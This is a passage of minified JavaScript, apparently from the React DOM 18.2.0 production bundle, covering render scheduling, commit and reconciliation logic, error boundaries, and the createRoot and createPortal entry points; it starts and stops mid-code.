s=31-it(o),a=1<<s,u=i[s];-1===u?0!=(a&n)&&0==(a&r)||(i[s]=ft(a,t)):u<=t&&(e.expiredLanes|=a),o&=~a}}(e,t);var r=lt(e,e===Au?Tu:0);if(0===r)null!==n&&We(n),e.callbackNode=null,e.callbackPriority=0;else if(t=r&-r,e.callbackPriority!==t){if(null!=n&&We(n),1===t)0===e.tag?function(e){Ui=!0,zi(e)}(lc.bind(null,e)):zi(lc.bind(null,e)),ii((function(){0==(6&Pu)&&Fi()})),n=null;else{switch(mt(r)){case 1:n=Je;break;case 4:n=Xe;break;case 16:default:n=Ze;break;case 536870912:n=tt}n=Ac(n,sc.bind(null,e))}e.callbackPriority=t,e.callbackNode=n}}function sc(e,t){if(ec=-1,tc=0,0!=(6&Pu))throw Error(n(327));var r=e.callbackNode;if(Oc()&&e.callbackNode!==r)return null;var i=lt(e,e===Au?Tu:0);if(0===i)return null;if(0!=(30&i)||0!=(i&e.expiredLanes)||t)t=mc(e,i);else{t=i;var o=Pu;Pu|=2;var s=yc();for(Au===e&&Tu===t||($u=null,Vu=Ye()+500,pc(e,t));;)try{bc();break}catch(t){gc(e,t)}bo(),Ru.current=s,Pu=o,null!==Nu?t=0:(Au=null,Tu=0,t=ju)}if(0!==t){if(2===t&&(0!==(o=ht(e))&&(i=o,t=ac(e,o))),1===t)throw r=Uu,pc(e,0),cc(e,i),oc(e,Ye()),r;if(6===t)cc(e,i);else{if(o=e.current.alternate,0==(30&i)&&!function(e){for(var t=e;;){if(16384&t.flags){var n=t.updateQueue;if(null!==n&&null!==(n=n.stores))for(var r=0;r<n.length;r++){var i=n[r],o=i.getSnapshot;i=i.value;try{if(!or(o(),i))return!1}catch(e){return!1}}}if(n=t.child,16384&t.subtreeFlags&&null!==n)n.return=t,t=n;else{if(t===e)break;for(;null===t.sibling;){if(null===t.return||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}(o)&&(2===(t=mc(e,i))&&(0!==(s=ht(e))&&(i=s,t=ac(e,s))),1===t))throw r=Uu,pc(e,0),cc(e,i),oc(e,Ye()),r;switch(e.finishedWork=o,e.finishedLanes=i,t){case 0:case 1:throw Error(n(345));case 2:case 5:Sc(e,Hu,$u);break;case 3:if(cc(e,i),(130023424&i)===i&&10<(t=qu+500-Ye())){if(0!==lt(e,0))break;if(((o=e.suspendedLanes)&i)!==i){nc(),e.pingedLanes|=e.suspendedLanes&o;break}e.timeoutHandle=ti(Sc.bind(null,e,Hu,$u),t);break}Sc(e,Hu,$u);break;case 4:if(cc(e,i),(4194240&i)===i)break;for(t=e.eventTimes,o=-1;0<i;){var a=31-it(i);s=1<<a,(a=t[a])>o&&(o=a),i&=~s}if(i=o,10<(i=(120>(i=Ye()-i)?120:480>i?480:1080>i?1080:1920>i?1920:3e3>i?3e3:4320>i?4320:1960*Iu(i/1960))-i)){e.timeoutHandle=ti(Sc.bind(null,e,Hu,$u),i);break}Sc(e,Hu,$u);break;default:throw Error(n(329))}}}return oc(e,Ye()),e.callbackNode===r?sc.bind(null,e):null}function ac(e,t){var n=Bu;return e.current.memoizedState.isDehydrated&&(pc(e,t).flags|=256),2!==(e=mc(e,t))&&(t=Hu,Hu=n,null!==t&&uc(t)),e}function uc(e){null===Hu?Hu=e:Hu.push.apply(Hu,e)}function cc(e,t){for(t&=~Fu,t&=~zu,e.suspendedLanes|=t,e.pingedLanes&=~t,e=e.expirationTimes;0<t;){var n=31-it(t),r=1<<n;e[n]=-1,t&=~r}}function lc(e){if(0!=(6&Pu))throw Error(n(327));Oc();var t=lt(e,0);if(0==(1&t))return oc(e,Ye()),null;var r=mc(e,t);if(0!==e.tag&&2===r){var i=ht(e);0!==i&&(t=i,r=ac(e,i))}if(1===r)throw r=Uu,pc(e,0),cc(e,t),oc(e,Ye()),r;if(6===r)throw Error(n(345));return e.finishedWork=e.current.alternate,e.finishedLanes=t,Sc(e,Hu,$u),oc(e,Ye()),null}function fc(e,t){var n=Pu;Pu|=1;try{return e(t)}finally{0===(Pu=n)&&(Vu=Ye()+500,Ui&&Fi())}}function hc(e){null!==Qu&&0===Qu.tag&&0==(6&Pu)&&Oc();var t=Pu;Pu|=1;var n=Cu.transition,r=vt;try{if(Cu.transition=null,vt=1,e)return e()}finally{vt=r,Cu.transition=n,0==(6&(Pu=t))&&Fi()}}function dc(){Mu=Lu.current,Si(Lu)}function pc(e,t){e.finishedWork=null,e.finishedLanes=0;var n=e.timeoutHandle;if(-1!==n&&(e.timeoutHandle=-1,ni(n)),null!==Nu)for(n=Nu.return;null!==n;){var r=n;switch(Zi(r),r.tag){case 1:null!=(r=r.type.childContextTypes)&&Ai();break;case 3:os(),Si(Ri),Si(Ii),hs();break;case 5:us(r);break;case 4:os();break;case 13:case 19:Si(cs);break;case 10:wo(r.type._context);break;case 22:case 23:dc()}n=n.return}if(Au=e,Nu=e=Lc(e.current,null),Tu=Mu=t,ju=0,Uu=null,Fu=zu=Du=0,Hu=Bu=null,null!==xo){for(t=0;t<xo.length;t++)if(null!==(r=(n=xo[t]).interleaved)){n.interleaved=null;var i=r.next,o=n.pending;if(null!==o){var s=o.next;o.next=i,r.next=s}n.pending=r}xo=null}return e}function gc(e,t){for(;;){var r=Nu;try{if(bo(),ds.current=aa,_s){for(var i=ys.memoizedState;null!==i;){var o=i.queue;null!==o&&(o.pending=null),i=i.next}_s=!1}if(gs=0,ms=vs=ys=null,bs=!1,ws=0,ku.current=null,null===r||null===r.return){ju=1,Uu=t,Nu=null;break}e:{var s=e,a=r.return,u=r,c=t;if(t=Tu,u.flags|=32768,null!==c&&"object"==typeof c&&"function"==typeof c.then){var l=c,f=u,h=f.tag;if(0==(1&f.mode)&&(0===h||11===h||15===h)){var d=f.alternate;d?(f.updateQueue=d.updateQueue,f.memoizedState=d.memoizedState,f.lanes=d.lanes):(f.updateQueue=null,f.memoizedState=null)}var p=ma(a);if(null!==p){p.flags&=-257,_a(p,a,u,0,t),1&p.mode&&va(s,l,t),c=l;var g=(t=p).updateQueue;if(null===g){var y=new Set;y.add(c),t.updateQueue=y}else g.add(c);break e}if(0==(1&t)){va(s,l,t),vc();break e}c=Error(n(426))}else if(no&&1&u.mode){var v=ma(a);if(null!==v){0==(65536&v.flags)&&(v.flags|=256),_a(v,a,u,0,t),ho(fa(c,u));break e}}s=c=fa(c,u),4!==ju&&(ju=2),null===Bu?Bu=[s]:Bu.push(s),s=a;do{switch(s.tag){case 3:s.flags|=65536,t&=-t,s.lanes|=t,Lo(s,ga(0,c,t));break e;case 1:u=c;var m=s.type,_=s.stateNode;if(0==(128&s.flags)&&("function"==typeof m.getDerivedStateFromError||null!==_&&"function"==typeof _.componentDidCatch&&(null===Gu||!Gu.has(_)))){s.flags|=65536,t&=-t,s.lanes|=t,Lo(s,ya(s,u,t));break e}}s=s.return}while(null!==s)}Ec(r)}catch(e){t=e,Nu===r&&null!==r&&(Nu=r=r.return);continue}break}}function yc(){var e=Ru.current;return Ru.current=aa,null===e?aa:e}function vc(){0!==ju&&3!==ju&&2!==ju||(ju=4),null===Au||0==(268435455&Du)&&0==(268435455&zu)||cc(Au,Tu)}function mc(e,t){var r=Pu;Pu|=2;var i=yc();for(Au===e&&Tu===t||($u=null,pc(e,t));;)try{_c();break}catch(t){gc(e,t)}if(bo(),Pu=r,Ru.current=i,null!==Nu)throw Error(n(261));return Au=null,Tu=0,ju}function _c(){for(;null!==Nu;)wc(Nu)}function bc(){for(;null!==Nu&&!Ke();)wc(Nu)}function wc(e){var t=xu(e.alternate,e,Mu);e.memoizedProps=e.pendingProps,null===t?Ec(e):Nu=t,ku.current=null}function Ec(e){var t=e;do{var n=t.alternate;if(e=t.return,0==(32768&t.flags)){if(null!==(n=Ya(n,t,Mu)))return void(Nu=n)}else{if(null!==(n=Qa(n,t)))return n.flags&=32767,void(Nu=n);if(null===e)return ju=6,void(Nu=null);e.flags|=32768,e.subtreeFlags=0,e.deletions=null}if(null!==(t=t.sibling))return void(Nu=t);Nu=t=e}while(null!==t);0===ju&&(ju=5)}function Sc(e,t,r){var i=vt,o=Cu.transition;try{Cu.transition=null,vt=1,function(e,t,r,i){do{Oc()}while(null!==Qu);if(0!=(6&Pu))throw Error(n(327));r=e.finishedWork;var o=e.finishedLanes;if(null===r)return null;if(e.finishedWork=null,e.finishedLanes=0,r===e.current)throw Error(n(177));e.callbackNode=null,e.callbackPriority=0;var s=r.lanes|r.childLanes;if(function(e,t){var n=e.pendingLanes&~t;e.pendingLanes=t,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=t,e.mutableReadLanes&=t,e.entangledLanes&=t,t=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<n;){var i=31-it(n),o=1<<i;t[i]=0,r[i]=-1,e[i]=-1,n&=~o}}(e,s),e===Au&&(Nu=Au=null,Tu=0),0==(2064&r.subtreeFlags)&&0==(2064&r.flags)||Yu||(Yu=!0,Ac(Ze,(function(){return Oc(),null}))),s=0!=(15990&r.flags),0!=(15990&r.subtreeFlags)||s){s=Cu.transition,Cu.transition=null;var a=vt;vt=1;var u=Pu;Pu|=4,ku.current=null,function(e,t){if(Xr=Ht,fr(e=lr())){if("selectionStart"in e)var r={start:e.selectionStart,end:e.selectionEnd};else e:{var i=(r=(r=e.ownerDocument)&&r.defaultView||window).getSelection&&r.getSelection();if(i&&0!==i.rangeCount){r=i.anchorNode;var o=i.anchorOffset,s=i.focusNode;i=i.focusOffset;try{r.nodeType,s.nodeType}catch(e){r=null;break e}var a=0,u=-1,c=-1,l=0,f=0,h=e,d=null;t:for(;;){for(var p;h!==r||0!==o&&3!==h.nodeType||(u=a+o),h!==s||0!==i&&3!==h.nodeType||(c=a+i),3===h.nodeType&&(a+=h.nodeValue.length),null!==(p=h.firstChild);)d=h,h=p;for(;;){if(h===e)break t;if(d===r&&++l===o&&(u=a),d===s&&++f===i&&(c=a),null!==(p=h.nextSibling))break;d=(h=d).parentNode}h=p}r=-1===u||-1===c?null:{start:u,end:c}}else r=null}r=r||{start:0,end:0}}else r=null;for(Zr={focusedElem:e,selectionRange:r},Ht=!1,eu=t;null!==eu;)if(e=(t=eu).child,0!=(1028&t.subtreeFlags)&&null!==e)e.return=t,eu=e;else for(;null!==eu;){t=eu;try{var g=t.alternate;if(0!=(1024&t.flags))switch(t.tag){case 0:case 11:case 15:case 5:case 6:case 4:case 17:break;case 1:if(null!==g){var y=g.memoizedProps,v=g.memoizedState,m=t.stateNode,_=m.getSnapshotBeforeUpdate(t.elementType===t.type?y:go(t.type,y),v);m.__reactInternalSnapshotBeforeUpdate=_}break;case 3:var b=t.stateNode.containerInfo;1===b.nodeType?b.textContent="":9===b.nodeType&&b.documentElement&&b.removeChild(b.documentElement);break;default:throw Error(n(163))}}catch(e){Ic(t,t.return,e)}if(null!==(e=t.sibling)){e.return=t.return,eu=e;break}eu=t.return}g=ru,ru=!1}(e,r),mu(r,e),hr(Zr),Ht=!!Xr,Zr=Xr=null,e.current=r,bu(r),Ge(),Pu=u,vt=a,Cu.transition=s}else e.current=r;if(Yu&&(Yu=!1,Qu=e,Ju=o),s=e.pendingLanes,0===s&&(Gu=null),function(e){if(rt&&"function"==typeof rt.onCommitFiberRoot)try{rt.onCommitFiberRoot(nt,e,void 0,128==(128&e.current.flags))}catch(e){}}(r.stateNode),oc(e,Ye()),null!==t)for(i=e.onRecoverableError,r=0;r<t.length;r++)o=t[r],i(o.value,{componentStack:o.stack,digest:o.digest});if(Wu)throw Wu=!1,e=Ku,Ku=null,e;0!=(1&Ju)&&0!==e.tag&&Oc(),s=e.pendingLanes,0!=(1&s)?e===Zu?Xu++:(Xu=0,Zu=e):Xu=0,Fi()}(e,t,r,i)}finally{Cu.transition=o,vt=i}return null}function Oc(){if(null!==Qu){var e=mt(Ju),t=Cu.transition,r=vt;try{if(Cu.transition=null,vt=16>e?16:e,null===Qu)var i=!1;else{if(e=Qu,Qu=null,Ju=0,0!=(6&Pu))throw Error(n(331));var o=Pu;for(Pu|=4,eu=e.current;null!==eu;){var s=eu,a=s.child;if(0!=(16&eu.flags)){var u=s.deletions;if(null!==u){for(var c=0;c<u.length;c++){var l=u[c];for(eu=l;null!==eu;){var f=eu;switch(f.tag){case 0:case 11:case 15:iu(8,f,s)}var h=f.child;if(null!==h)h.return=f,eu=h;else for(;null!==eu;){var d=(f=eu).sibling,p=f.return;if(au(f),f===l){eu=null;break}if(null!==d){d.return=p,eu=d;break}eu=p}}}var g=s.alternate;if(null!==g){var y=g.child;if(null!==y){g.child=null;do{var v=y.sibling;y.sibling=null,y=v}while(null!==y)}}eu=s}}if(0!=(2064&s.subtreeFlags)&&null!==a)a.return=s,eu=a;else e:for(;null!==eu;){if(0!=(2048&(s=eu).flags))switch(s.tag){case 0:case 11:case 15:iu(9,s,s.return)}var m=s.sibling;if(null!==m){m.return=s.return,eu=m;break e}eu=s.return}}var _=e.current;for(eu=_;null!==eu;){var b=(a=eu).child;if(0!=(2064&a.subtreeFlags)&&null!==b)b.return=a,eu=b;else e:for(a=_;null!==eu;){if(0!=(2048&(u=eu).flags))try{switch(u.tag){case 0:case 11:case 15:ou(9,u)}}catch(e){Ic(u,u.return,e)}if(u===a){eu=null;break e}var w=u.sibling;if(null!==w){w.return=u.return,eu=w;break e}eu=u.return}}if(Pu=o,Fi(),rt&&"function"==typeof rt.onPostCommitFiberRoot)try{rt.onPostCommitFiberRoot(nt,e)}catch(e){}i=!0}return i}finally{vt=r,Cu.transition=t}}return!1}function xc(e,t,n){e=To(e,t=ga(0,t=fa(n,t),1),1),t=nc(),null!==e&&(gt(e,1,t),oc(e,t))}function Ic(e,t,n){if(3===e.tag)xc(e,e,n);else for(;null!==t;){if(3===t.tag){xc(t,e,n);break}if(1===t.tag){var r=t.stateNode;if("function"==typeof t.type.getDerivedStateFromError||"function"==typeof r.componentDidCatch&&(null===Gu||!Gu.has(r))){t=To(t,e=ya(t,e=fa(n,e),1),1),e=nc(),null!==t&&(gt(t,1,e),oc(t,e));break}}t=t.return}}function Rc(e,t,n){var r=e.pingCache;null!==r&&r.delete(t),t=nc(),e.pingedLanes|=e.suspendedLanes&n,Au===e&&(Tu&n)===n&&(4===ju||3===ju&&(130023424&Tu)===Tu&&500>Ye()-qu?pc(e,0):Fu|=n),oc(e,t)}function kc(e,t){0===t&&(0==(1&e.mode)?t=1:(t=ut,0==(130023424&(ut<<=1))&&(ut=4194304)));var n=nc();null!==(e=ko(e,t))&&(gt(e,t,n),oc(e,n))}function Cc(e){var t=e.memoizedState,n=0;null!==t&&(n=t.retryLane),kc(e,n)}function Pc(e,t){var r=0;switch(e.tag){case 13:var i=e.stateNode,o=e.memoizedState;null!==o&&(r=o.retryLane);break;case 19:i=e.stateNode;break;default:throw Error(n(314))}null!==i&&i.delete(t),kc(e,r)}function Ac(e,t){return $e(e,t)}function Nc(e,t,n,r){this.tag=e,this.key=n,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=t,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Tc(e,t,n,r){return new Nc(e,t,n,r)}function Mc(e){return!(!(e=e.prototype)||!e.isReactComponent)}function Lc(e,t){var n=e.alternate;return null===n?((n=Tc(e.tag,t,e.key,e.mode)).elementType=e.elementType,n.type=e.type,n.stateNode=e.stateNode,n.alternate=e,e.alternate=n):(n.pendingProps=t,n.type=e.type,n.flags=0,n.subtreeFlags=0,n.deletions=null),n.flags=14680064&e.flags,n.childLanes=e.childLanes,n.lanes=e.lanes,n.child=e.child,n.memoizedProps=e.memoizedProps,n.memoizedState=e.memoizedState,n.updateQueue=e.updateQueue,t=e.dependencies,n.dependencies=null===t?null:{lanes:t.lanes,firstContext:t.firstContext},n.sibling=e.sibling,n.index=e.index,n.ref=e.ref,n}function jc(e,t,r,i,o,s){var a=2;if(i=e,"function"==typeof e)Mc(e)&&(a=1);else if("string"==typeof e)a=5;else e:switch(e){case w:return Uc(r.children,o,s,t);case E:a=8,o|=8;break;case S:return(e=Tc(12,r,t,2|o)).elementType=S,e.lanes=s,e;case R:return(e=Tc(13,r,t,o)).elementType=R,e.lanes=s,e;case k:return(e=Tc(19,r,t,o)).elementType=k,e.lanes=s,e;case A:return Dc(r,o,s,t);default:if("object"==typeof e&&null!==e)switch(e.$$typeof){case O:a=10;break e;case x:a=9;break e;case I:a=11;break e;case C:a=14;break e;case P:a=16,i=null;break e}throw Error(n(130,null==e?e:typeof e,""))}return(t=Tc(a,r,t,o)).elementType=e,t.type=i,t.lanes=s,t}function Uc(e,t,n,r){return(e=Tc(7,e,r,t)).lanes=n,e}function Dc(e,t,n,r){return(e=Tc(22,e,r,t)).elementType=A,e.lanes=n,e.stateNode={isHidden:!1},e}function zc(e,t,n){return(e=Tc(6,e,null,t)).lanes=n,e}function Fc(e,t,n){return(t=Tc(4,null!==e.children?e.children:[],e.key,t)).lanes=n,t.stateNode={containerInfo:e.containerInfo,pendingChildren:null,implementation:e.implementation},t}function Bc(e,t,n,r,i){this.tag=t,this.containerInfo=e,this.finishedWork=this.pingCache=this.current=this.pendingChildren=null,this.timeoutHandle=-1,this.callbackNode=this.pendingContext=this.context=null,this.callbackPriority=0,this.eventTimes=pt(0),this.expirationTimes=pt(-1),this.entangledLanes=this.finishedLanes=this.mutableReadLanes=this.expiredLanes=this.pingedLanes=this.suspendedLanes=this.pendingLanes=0,this.entanglements=pt(0),this.identifierPrefix=r,this.onRecoverableError=i,this.mutableSourceEagerHydrationData=null}function Hc(e,t,n,r,i,o,s,a,u){return e=new Bc(e,t,n,a,u),1===t?(t=1,!0===o&&(t|=8)):t=0,o=Tc(3,null,null,t),e.current=o,o.stateNode=e,o.memoizedState={element:r,isDehydrated:n,cache:null,transitions:null,pendingSuspenseBoundaries:null},Po(o),e}function qc(e){if(!e)return xi;e:{if(Fe(e=e._reactInternals)!==e||1!==e.tag)throw Error(n(170));var t=e;do{switch(t.tag){case 3:t=t.stateNode.context;break e;case 1:if(Pi(t.type)){t=t.stateNode.__reactInternalMemoizedMergedChildContext;break e}}t=t.return}while(null!==t);throw Error(n(171))}if(1===e.tag){var r=e.type;if(Pi(r))return Ti(e,r,t)}return t}function Vc(e,t,n,r,i,o,s,a,u){return(e=Hc(n,r,!0,e,0,o,0,a,u)).context=qc(null),n=e.current,(o=No(r=nc(),i=rc(n))).callback=null!=t?t:null,To(n,o,i),e.current.lanes=i,gt(e,i,r),oc(e,r),e}function $c(e,t,n,r){var i=t.current,o=nc(),s=rc(i);return n=qc(n),null===t.context?t.context=n:t.pendingContext=n,(t=No(o,s)).payload={element:e},null!==(r=void 0===r?null:r)&&(t.callback=r),null!==(e=To(i,t,s))&&(ic(e,i,s,o),Mo(e,i,s)),s}function Wc(e){return(e=e.current).child?(e.child.tag,e.child.stateNode):null}function Kc(e,t){if(null!==(e=e.memoizedState)&&null!==e.dehydrated){var n=e.retryLane;e.retryLane=0!==n&&n<t?n:t}}function Gc(e,t){Kc(e,t),(e=e.alternate)&&Kc(e,t)}xu=function(e,t,r){if(null!==e)if(e.memoizedProps!==t.pendingProps||Ri.current)wa=!0;else{if(0==(e.lanes&r)&&0==(128&t.flags))return wa=!1,function(e,t,n){switch(t.tag){case 3:Aa(t),fo();break;case 5:ss(t);break;case 1:Pi(t.type)&&Mi(t);break;case 4:rs(t,t.stateNode.containerInfo);break;case 10:var r=t.type._context,i=t.memoizedProps.value;Oi(yo,r._currentValue),r._currentValue=i;break;case 13:if(null!==(r=t.memoizedState))return null!==r.dehydrated?(Oi(cs,1&cs.current),t.flags|=128,null):0!=(n&t.child.childLanes)?za(e,t,n):(Oi(cs,1&cs.current),null!==(e=Wa(e,t,n))?e.sibling:null);Oi(cs,1&cs.current);break;case 19:if(r=0!=(n&t.childLanes),0!=(128&e.flags)){if(r)return Va(e,t,n);t.flags|=128}if(null!==(i=t.memoizedState)&&(i.rendering=null,i.tail=null,i.lastEffect=null),Oi(cs,cs.current),r)break;return null;case 22:case 23:return t.lanes=0,Ia(e,t,n)}return Wa(e,t,n)}(e,t,r);wa=0!=(131072&e.flags)}else wa=!1,no&&0!=(1048576&t.flags)&&Ji(t,Vi,t.index);switch(t.lanes=0,t.tag){case 2:var i=t.type;$a(e,t),e=t.pendingProps;var o=Ci(t,Ii.current);So(t,r),o=xs(null,t,i,e,o,r);var s=Is();return t.flags|=1,"object"==typeof o&&null!==o&&"function"==typeof o.render&&void 0===o.$$typeof?(t.tag=1,t.memoizedState=null,t.updateQueue=null,Pi(i)?(s=!0,Mi(t)):s=!1,t.memoizedState=null!==o.state&&void 0!==o.state?o.state:null,Po(t),o.updater=Fo,t.stateNode=o,o._reactInternals=t,Vo(t,i,e,r),t=Pa(null,t,i,!0,s,r)):(t.tag=0,no&&s&&Xi(t),Ea(null,t,o,r),t=t.child),t;case 16:i=t.elementType;e:{switch($a(e,t),e=t.pendingProps,i=(o=i._init)(i._payload),t.type=i,o=t.tag=function(e){if("function"==typeof e)return Mc(e)?1:0;if(null!=e){if((e=e.$$typeof)===I)return 11;if(e===C)return 14}return 2}(i),e=go(i,e),o){case 0:t=ka(null,t,i,e,r);break e;case 1:t=Ca(null,t,i,e,r);break e;case 11:t=Sa(null,t,i,e,r);break e;case 14:t=Oa(null,t,i,go(i.type,e),r);break e}throw Error(n(306,i,""))}return t;case 0:return i=t.type,o=t.pendingProps,ka(e,t,i,o=t.elementType===i?o:go(i,o),r);case 1:return i=t.type,o=t.pendingProps,Ca(e,t,i,o=t.elementType===i?o:go(i,o),r);case 3:e:{if(Aa(t),null===e)throw Error(n(387));i=t.pendingProps,o=(s=t.memoizedState).element,Ao(e,t),jo(t,i,null,r);var a=t.memoizedState;if(i=a.element,s.isDehydrated){if(s={element:i,isDehydrated:!1,cache:a.cache,pendingSuspenseBoundaries:a.pendingSuspenseBoundaries,transitions:a.transitions},t.updateQueue.baseState=s,t.memoizedState=s,256&t.flags){t=Na(e,t,i,r,o=fa(Error(n(423)),t));break e}if(i!==o){t=Na(e,t,i,r,o=fa(Error(n(424)),t));break e}for(to=ai(t.stateNode.containerInfo.firstChild),eo=t,no=!0,ro=null,r=Qo(t,null,i,r),t.child=r;r;)r.flags=-3&r.flags|4096,r=r.sibling}else{if(fo(),i===o){t=Wa(e,t,r);break e}Ea(e,t,i,r)}t=t.child}return t;case 5:return ss(t),null===e&&ao(t),i=t.type,o=t.pendingProps,s=null!==e?e.memoizedProps:null,a=o.children,ei(i,o)?a=null:null!==s&&ei(i,s)&&(t.flags|=32),Ra(e,t),Ea(e,t,a,r),t.child;case 6:return null===e&&ao(t),null;case 13:return za(e,t,r);case 4:return rs(t,t.stateNode.containerInfo),i=t.pendingProps,null===e?t.child=Yo(t,null,i,r):Ea(e,t,i,r),t.child;case 11:return i=t.type,o=t.pendingProps,Sa(e,t,i,o=t.elementType===i?o:go(i,o),r);case 7:return Ea(e,t,t.pendingProps,r),t.child;case 8:case 12:return Ea(e,t,t.pendingProps.children,r),t.child;case 10:e:{if(i=t.type._context,o=t.pendingProps,s=t.memoizedProps,a=o.value,Oi(yo,i._currentValue),i._currentValue=a,null!==s)if(or(s.value,a)){if(s.children===o.children&&!Ri.current){t=Wa(e,t,r);break e}}else for(null!==(s=t.child)&&(s.return=t);null!==s;){var u=s.dependencies;if(null!==u){a=s.child;for(var c=u.firstContext;null!==c;){if(c.context===i){if(1===s.tag){(c=No(-1,r&-r)).tag=2;var l=s.updateQueue;if(null!==l){var f=(l=l.shared).pending;null===f?c.next=c:(c.next=f.next,f.next=c),l.pending=c}}s.lanes|=r,null!==(c=s.alternate)&&(c.lanes|=r),Eo(s.return,r,t),u.lanes|=r;break}c=c.next}}else if(10===s.tag)a=s.type===t.type?null:s.child;else if(18===s.tag){if(null===(a=s.return))throw Error(n(341));a.lanes|=r,null!==(u=a.alternate)&&(u.lanes|=r),Eo(a,r,t),a=s.sibling}else a=s.child;if(null!==a)a.return=s;else for(a=s;null!==a;){if(a===t){a=null;break}if(null!==(s=a.sibling)){s.return=a.return,a=s;break}a=a.return}s=a}Ea(e,t,o.children,r),t=t.child}return t;case 9:return o=t.type,i=t.pendingProps.children,So(t,r),i=i(o=Oo(o)),t.flags|=1,Ea(e,t,i,r),t.child;case 14:return o=go(i=t.type,t.pendingProps),Oa(e,t,i,o=go(i.type,o),r);case 15:return xa(e,t,t.type,t.pendingProps,r);case 17:return i=t.type,o=t.pendingProps,o=t.elementType===i?o:go(i,o),$a(e,t),t.tag=1,Pi(i)?(e=!0,Mi(t)):e=!1,So(t,r),Ho(t,i,o),Vo(t,i,o,r),Pa(null,t,i,!0,e,r);case 19:return Va(e,t,r);case 22:return Ia(e,t,r)}throw Error(n(156,t.tag))};var Yc="function"==typeof reportError?reportError:function(e){console.error(e)};function Qc(e){this._internalRoot=e}function Jc(e){this._internalRoot=e}function Xc(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType)}function Zc(e){return!(!e||1!==e.nodeType&&9!==e.nodeType&&11!==e.nodeType&&(8!==e.nodeType||" react-mount-point-unstable "!==e.nodeValue))}function el(){}function tl(e,t,n,r,i){var o=n._reactRootContainer;if(o){var s=o;if("function"==typeof i){var a=i;i=function(){var e=Wc(s);a.call(e)}}$c(t,s,e,i)}else s=function(e,t,n,r,i){if(i){if("function"==typeof r){var o=r;r=function(){var e=Wc(s);o.call(e)}}var s=Vc(t,r,e,0,null,!1,0,"",el);return e._reactRootContainer=s,e[hi]=s.current,Fr(8===e.nodeType?e.parentNode:e),hc(),s}for(;i=e.lastChild;)e.removeChild(i);if("function"==typeof r){var a=r;r=function(){var e=Wc(u);a.call(e)}}var u=Hc(e,0,!1,null,0,!1,0,"",el);return e._reactRootContainer=u,e[hi]=u.current,Fr(8===e.nodeType?e.parentNode:e),hc((function(){$c(t,u,n,r)})),u}(n,t,e,i,r);return Wc(s)}Jc.prototype.render=Qc.prototype.render=function(e){var t=this._internalRoot;if(null===t)throw Error(n(409));$c(e,t,null,null)},Jc.prototype.unmount=Qc.prototype.unmount=function(){var e=this._internalRoot;if(null!==e){this._internalRoot=null;var t=e.containerInfo;hc((function(){$c(null,e,null,null)})),t[hi]=null}},Jc.prototype.unstable_scheduleHydration=function(e){if(e){var t=Et();e={blockedOn:null,target:e,priority:t};for(var n=0;n<At.length&&0!==t&&t<At[n].priority;n++);At.splice(n,0,e),0===n&&Lt(e)}},_t=function(e){switch(e.tag){case 3:var t=e.stateNode;if(t.current.memoizedState.isDehydrated){var n=ct(t.pendingLanes);0!==n&&(yt(t,1|n),oc(t,Ye()),0==(6&Pu)&&(Vu=Ye()+500,Fi()))}break;case 13:hc((function(){var t=ko(e,1);if(null!==t){var n=nc();ic(t,e,1,n)}})),Gc(e,1)}},bt=function(e){if(13===e.tag){var t=ko(e,134217728);if(null!==t)ic(t,e,134217728,nc());Gc(e,134217728)}},wt=function(e){if(13===e.tag){var t=rc(e),n=ko(e,t);if(null!==n)ic(n,e,t,nc());Gc(e,t)}},Et=function(){return vt},St=function(e,t){var n=vt;try{return vt=e,t()}finally{vt=n}},be=function(e,t,r){switch(t){case"input":if(Q(e,r),t=r.name,"radio"===r.type&&null!=t){for(r=e;r.parentNode;)r=r.parentNode;for(r=r.querySelectorAll("input[name="+JSON.stringify(""+t)+'][type="radio"]'),t=0;t<r.length;t++){var i=r[t];if(i!==e&&i.form===e.form){var o=_i(i);if(!o)throw Error(n(90));$(i),Q(i,o)}}}break;case"textarea":re(e,r);break;case"select":null!=(t=r.value)&&ee(e,!!r.multiple,t,!1)}},Ie=fc,Re=hc;var nl={usingClientEntryPoint:!1,Events:[vi,mi,_i,Oe,xe,fc]},rl={findFiberByHostInstance:yi,bundleType:0,version:"18.2.0",rendererPackageName:"react-dom"},il={bundleType:rl.bundleType,version:rl.version,rendererPackageName:rl.rendererPackageName,rendererConfig:rl.rendererConfig,overrideHookState:null,overrideHookStateDeletePath:null,overrideHookStateRenamePath:null,overrideProps:null,overridePropsDeletePath:null,overridePropsRenamePath:null,setErrorHandler:null,setSuspenseHandler:null,scheduleUpdate:null,currentDispatcherRef:v.ReactCurrentDispatcher,findHostInstanceByFiber:function(e){return null===(e=qe(e))?null:e.stateNode},findFiberByHostInstance:rl.findFiberByHostInstance||function(){return null},findHostInstancesForRefresh:null,scheduleRefresh:null,scheduleRoot:null,setRefreshHandler:null,getCurrentFiber:null,reconcilerVersion:"18.2.0-next-9e3b772b8-20220608"};if("undefined"!=typeof __REACT_DEVTOOLS_GLOBAL_HOOK__){var ol=__REACT_DEVTOOLS_GLOBAL_HOOK__;if(!ol.isDisabled&&ol.supportsFiber)try{nt=ol.inject(il),rt=ol}catch(ue){}}return is.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED=nl,is.createPortal=function(e,t){var r=2<arguments.length&&void 0!==arguments[2]?arguments[2]:null;if(!Xc(t))throw Error(n(200));return function(e,t,n){var r=3<arguments.length&&void 0!==arguments[3]?arguments[3]:null;return{$$typeof:b,key:null==r?null:""+r,children:e,containerInfo:t,implementation:n}}(e,t,null,r)},is.createRoot=function(e,t){if(!Xc(e))throw Error(n(299));var r=!1,i="",o=Yc;return null!=t&&(!0===t.unstable_strictMode&&(r=!0),void 0!==t.identifierPrefix&&(i=t.identifierPrefix),void 0!==t.onRecoverableError&&(o=t.onRecoverableError)),t=Hc(e,1,!1,null,0,r,0,i,o),e[hi]=t.current,Fr(8===e.nodeType?e.parentNode:e),new Qc(t)},is.findDOMNode=function(e){if(null==e)return null;if(1===e.nodeType)return e;var t=e._reactInternals;if(void 0===t){if("function"==typeof e.render)throw 